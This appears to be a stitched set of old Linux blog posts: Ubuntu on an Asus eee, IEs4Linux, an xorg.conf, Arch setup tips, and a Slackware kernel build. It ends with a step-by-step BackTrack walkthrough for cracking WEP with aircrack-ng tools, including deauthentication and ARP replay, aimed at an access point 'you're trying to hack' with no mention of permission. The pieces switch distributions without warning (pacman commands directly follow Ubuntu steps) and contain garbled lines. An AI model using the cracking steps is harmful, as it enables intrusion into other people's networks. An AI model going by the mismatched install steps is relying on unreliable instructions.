Once UNetbootin finishes, open your USB drive and do the following:

Delete SYSLINUX.CFG:

rm SYSLINUX.CFG

Rename the ISOLINUX directory to SYSLINUX:

mv ISOLINUX SYSLINUX

Enter the SYSLINUX directory:

cd SYSLINUX

Rename ISOLINUX.CFG to SYSLINUX.CFG:

mv ISOLINUX.CFG SYSLINUX.CFG

Now you have a working Ubuntu Live Flash Drive!

Insert your new flash drive into one of the *right* USB ports of your Asus eee 1000HA. I say right because they have been a lot more reliable for me when booting from USB, but maybe that’s just me.

Boot up your eee and push esc when you see the boot screen. This should bring up the familiar Ubuntu Live screen where you can pick whether to start a Live session or go to the Installation. Installation is the obvious choice here. The Ubuntu Installation itself is past the scope of this wiki, but you can find help at ubuntu.com.

Once you have finished the installation you may notice that your wireless NIC is not yet recognized. Don’t worry, we are about to fix that, and a lot more.

First, setup the array.org repository in your apt sources:

wget http://www.array.org/ubuntu/array-intrepid.list (external link)
sudo mv -v array-intrepid.list /etc/apt/sources.list.d/

Be sure to install the key for the repository:

wget http://www.array.org/ubuntu/array-apt-key.asc (external link)
sudo apt-key add array-apt-key.asc

Update your apt-cache:

sudo apt-get update

Install the kernel:

sudo apt-get install linux-eeepc

Now reboot. When your computer restarts, make sure you are now using the correct kernel by pressing esc when the grub information is displayed and select the kernel that ends in “-eeepc”

Now remove the original kernel:

sudo apt-get remove linux-.*-generic

You are now the proud owner of an Ubuntu based eee!

Install IEs4Linux:

pacman -S ies4linux

That will automatically install Wine for you also, if you don’t already have it. Now that you have the installer installed, it’s time to install (say that 3 times fast):

ies4linux --beta-install-ie7

This will bring up a GUI to install IE 5 through 7. Now it’s as simple as hitting OK to install.

To launch IE6:

~/.ies4linux/bin/ie6

Section "ServerLayout"
	Identifier     "aticonfig Layout"
	Screen      0  "aticonfig-Screen[0]-0" 0 0
EndSection

Section "Files"
EndSection

Section "Module"
EndSection

Section "Monitor"
	Identifier   "aticonfig-Monitor[0]-0"
	Option	    "VendorName" "ATI Proprietary Driver"
	Option	    "ModelName" "Generic Autodetecting Monitor"
	Option	    "DPMS" "true"
EndSection

Section "Device"
	Identifier  "aticonfig-Device[0]-0"
	Driver      "fglrx"
	BusID       "PCI:1:0:0"
EndSection

Section "Screen"
	Identifier "aticonfig-Screen[0]-0"
	Device     "aticonfig-Device[0]-0"
	Monitor    "aticonfig-Monitor[0]-0"
	DefaultDepth     24
	SubSection "Display"
		Viewport   0 0
		Depth     24
	EndSubSection
EndSection

pacman -Syu

Install Screen
Not only can you use screen instead of a window manager/desktop environment, you can use them together! Screen is always the first thing I install when configuring a new Arch install. It will allow you (if you know how, more on that here) to do multiple things at once, like edit your rc.conf while installing Eclipse at the same time. To install screen:

pacman -S screen

Install vim
Vim is the best CLI text editor. Period. Nothing else even comes close. Before editing ANY files or installing anything other than those previously mentioned, I must install vim. To easily install via pacman:

pacman -S vim

Edit Sudoers
Edit your sudoers file now or it will begin to piss you off, forcing you to stop being lazy, put aside anything you are doing, and enter:

vim /etc/sudoers

If you would like to be allowed to sudo anything, place

yourusername ALL=(ALL) ALL

on the line under:

root ALL=(ALL) ALL

Now that you have done this, instead of typing ‘su’ and then entering a root password everytime you want to install a program, you can just type:

sudo myRootCommand

and enter your password when prompted.


Install xorg:
You must install xorg before you can see a graphical environment. Also in this step, we will install our video card drivers. To do all of this at once, do one of the following
ATI:

pacman -S xorg catalyst hwd

Nvidia:

pacman -S xorg xfree86-video-nvidia hwd

Now automaticall configure your xorg.conf by running the following as root, and answering “y” to the question asked:

hwd -xa

Install a Window Manager / Desktop Environment
Do you want a Window Manager or a Desktop Environment? Your decision may be based on the speed/specs of your computer. If you have a slow processor and little RAM, then I would recommend you go with a WM. If you have a fast computer than a DE might be just the thing for you. I tend to switch between Openbox(WM) and Gnome(DE). Never install a DEA, ass it will invade your privacy. To install your WM/DE of choice:
Gnome:

pacman -S gnome

Openbox:

pacman -S openbox

KDE:

pacman -S kde

If you like KDE then you may want to try KDEmod (KDE optimized for Arch).

Install Mozilla Apps
Mozilla makes a good portion of my favorite apps. I use Firefox for daily web-browsing, Thunderbird for daily e-mail, and Sunbird for daily tasks. There are so many apps out there that do these same things, we are so lucky to have such good and free alternative versions. Put this good fortune to use! Don’t earn your friends’ respect by installing Linux, only to lose it by running Internet Explorer. Do this easily with:

pacman -S firefox thunderbird sunbird

Install Yaourt
Yaourt, or “Yet Another User Repository Tool“, is a frontend to pacman that allows you to install apps from the AUR. The AUR, or Arch User Repository, contains tons of apps that have not yet been added to the official Arch package repositories. These packages are maintained by users and installed on your system with yaourt via Arch’s “makepkg” command. To do this, first add the following to your /etc/pacman.conf file:

[archlinuxfr]
Server = http://repo.archlinux.fr/i686

Once you have done that, update pacman and install yaourt:

pacman -Sy yaourt

Install zsh
Zsh is, in my opinion, the best shell. Not to mention it is awesome with the autocomplete function that integrates with yaourt. To install zsh do the all-too-familiar:

pacman -S zsh

Once installed, you must do the following as root:

usermod -s /bin/zsh paul

Install Your Favorite Apps
What you install after installing Arch Linux does not, by any means, have to be limited to my opinions. Try new software, see what you like. Install different apps that do the same things to find your preference. Install apps you’ve never heard of and become a master at them. This is a big part of becoming a knowledgeable Linux user.
Some suggestions:

• Inkscape
• GIMP
• OpenOffice
• BlogBridge (from AUR — I maintain this package)

It all started when I got my Asus eee 1000HA. I installed a half-dozen different OS’s on it trying to find one that worked well with the weird hardware, and one that I liked. I just couldn’t find it. I tried Ubuntu with Adam’s kernel, gentoo, FreeBSD, Slackware, and Debian. Either it didn’t work with enough of the hardware or I just plain didn’t like it. Until I found Arch, which was about the same time that my mind was blown.

I never knew an OS could be so simple, yet extremely personal. There is now not a single program on my eee that I don’t want there. Not a single library. Not a single web browser. Everything that was installed was because I requested it to be installed. And it’s EASY! No, not to a n00b, but if you have decent linux experience, it is easy.

And the package manager! I really don’t like apt-get very much. I don’t mind sbopkg in Slackware, but it doesn’t find dependencies. But pacman (Arch’s pm) is simply amazing. It has support for rolling updates so you never need to worry about installing another release again.
“What’s that? KDE 4.2 was announced today? Let me install it, and while I’m at it I’ll just do a system update too.”
Types in terminal: # pacman -Syu

That’s it! I now have the latest kernel, KDE, and any other package on my system!

Give it a go if you don’t believe me.

Update: Arch just added kernel 2.6.28 to it’s core, meaning you can upgrade to this version with “pacman -Syu”. This also means you are eligible for the new filesystem, ext4.

mkdir ~/linux

Next download the 2.6.28 kernel to this folder. When that is finished, unarchive it with:

tar -xjvf linux-2.6.28.tar.bz2

cd  linux-2.6.28

Now to make the config file. (Notice that the $ before the pre is not actually typed, this indicates your regular user shell, while # means root shell)

$ make xconfig

Now we run:

$ make

Go get some coffee, this may take some time.
Now for the moment you’ve been waiting for, we get to become root! Under root, run:

# make modules_install

Better safe than sorry – just to be sure of the version, run:

# make kernelversion

Which should output 2.6.28. If it did, great, move on. If not…you messed up, sorry, do not pass go, do not collect $200.
I am not going to go in depth into the following commands, it’s just copying stuff to other places, pretty self explanatory. If you don’t know what’s going on, that’s OK just follow along.

# cd ..
# cp -R linux-2.6.28 /usr/src
# cd /usr/src
# rm linux
# ln -s linux-2.6.28 linux
# cd linux
# cp System.map /boot/System.map-2.6.28
# cp .config /boot/config-2.6.28
# cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.28

Okay, now that all the copying is done, we need to configure lilo to boot into our new kernel.

# vim /etc/lilo.conf

Add this above # Linux bootable partition config begins:

image = /boot/vmlinuz-2.6.28
  root = /dev/sda1
  initrd = /boot/initrd-2.6.28.gz
  label = SlackwareNew
  read-only

Note: your “root = ” may not be /dev/sda1. Copy whatever it is in the existing “Linux” “root” under what you are currently typing.
And change the existing:

image = /boot/vmlinuz

To:

image = boot/vmlinuz-old

Now save and exit lilo.conf (if you don’t know how, google vim)
Next, follow this list of commands:

# /sbin/lilo
# cd /boot
# mv System.map System.map-old
# mv config config-old
# mv vmlinuz vmlinuz-old
# mkinitrd -c -k 2.6.28 -m mbcache:jbd:ext3 -f ext3 -r /dev/sda1 -o /boot/initrd-2.6.28.gz

In that last command, replace anything you need to. Get more info with:

vim /boot/README.initrd

Now run:

lilo -v

Reboot and cross your fingers!

After you have booted into BackTrack 3, we are ready for the fun part. The first thing we will do is shutdown our wifi card. In the terminal:

ifconfig ath0 down

Next we want to bring it back up, but in monitor mode:

airmon-ng start wifi0

You should see that a new interface called ath1 was created. That is the interface we are going to use for the rest of our cracking. Next:

airodump-ng ath1

This will list all of the wifi signals your card is picking up. There are two things you are going to want to write down: the BSSID and the Channel (CH), and also make sure the Encryption (ENC) is WEP. Or, if you don’t want to write thpre down, just open a new shell and leave that one open.

Now press

ctrl+c

to stop airodump-ng. Open a new console (if you haven’t already) and type:

airodump-ng --channel x --bssid y -w filename ath1

Where x and y are the channel and bssid that you wrote down, respectively, and filename is whatever you want the prefix of the output files to be. I usually set the filename to something along the lines of the router name, that way when I’m searching through my cracked WEP files I know whats what.

Now leave that running and open another shell. Type

ifconfig

next to

ath1

write down the first 6 sets of numbers in the long string next to HWaddr, replacing the dashes with colons (e.g. 00:11:22:33:44:55). That is your computer’s MAC address, whereas the bssid is the Access Point’s MAC address that you’re trying to hack.

Okay, now in the same window that you typed

ifconfig

, type:

aireplay-ng --arpreplay -b [Access Point's MAC] -h [Your MAC] ath1

Now leave that running and open yet another shell, and type:

aireplay-ng --deauth 5 -c [Your Mac] -a [Access Point's MAC] ath1

Now in that same window type:

aircrack-ng filename*.cap

Where filename is whatever you entered earlier. And there you go! You should now have the WEP key. Leave feedback in the comments. I would love to answer your questions if any arrise.